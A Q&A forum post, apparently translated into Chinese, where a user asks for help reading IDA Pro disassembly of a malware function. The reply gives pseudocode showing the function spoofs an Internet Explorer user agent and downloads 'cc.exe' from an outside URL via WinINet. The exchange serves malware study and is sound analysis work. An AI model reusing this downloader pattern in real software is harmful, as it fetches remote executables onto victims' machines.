2014-10-31 49 views
0

我正在嘗試分析可執行文件中的惡意軟件。我試圖在子程序sub_401040上分析函數的性質。當我在IDA Pro中運行它時,我得到的彙編代碼看起來像下面發佈的代碼。但是,我對這個函數到底發生了什麼感到困惑。任何幫助將不勝感激!無法分析給定內存位置中函數的性質

我可以理解子程序401040已經有一個參數。但是我迷失在試圖瞭解它的功能或參數如何被使用。

sub_401040 proc near 

Buffer= dword ptr -230h 
var_22C= byte ptr -22Ch 
hFile= dword ptr -30h 
hInternet= dword ptr -2Ch 
szAgent= byte ptr -28h 
dwNumberOfBytesRead= dword ptr -8 
var_4= dword ptr -4 
arg_0= dword ptr 8 

push ebp 
mov  ebp, esp 
sub  esp, 230h 
mov  eax, [ebp+arg_0] 
push eax 
push offset aInternetExplor ; "Internet Explorer 7.50/lol%d" 
lea  ecx, [ebp+szAgent] 
push ecx    ; char * 
call _sprintf 
add  esp, 0Ch 
push 0    ; dwFlags 
push 0    ; lpszProxyBypass 
push 0    ; lpszProxy 
push 0    ; dwAccessType 
lea  edx, [ebp+szAgent] 
push edx    ; lpszAgent 
call ds:InternetOpenA 
mov  [ebp+hInternet], eax 
push 0    ; dwContext 
push 0    ; dwFlags 
push 0    ; dwHeadersLength 
push 0    ; lpszHeaders 
push offset szUrl ; "http://www.inactivedomain.com/cc.exe" 
mov  eax, [ebp+hInternet] 
push eax    ; hInternet 
call ds:InternetOpenUrlA 
mov  [ebp+hFile], eax 
cmp  [ebp+hFile], 0 
jnz  short loc_4010B1 

回答

1

基本上,它做這個(psueudocode):

sprintf(szAgent, "Internet Explorer 7.50/lol%d", arg0); 

// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx 
// Initializes an application's use of the WinINet functions. 
HINTERNET hInternet = InternetOpen(szAgent, 0, 0, 0, 0); 

// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385098(v=vs.85).aspx 
// Opens a resource specified by a complete FTP or HTTP URL. 
HINTERNET Return = InternetOpenUrl(hInternet, "http://www.inactivedomain.com/cc.exe", 0, 0, 0, 0); 

if (!Return) // etc...